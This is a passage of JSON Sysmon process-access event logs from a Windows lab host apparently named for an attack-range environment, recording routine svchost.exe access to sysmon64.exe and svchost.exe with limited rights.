11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 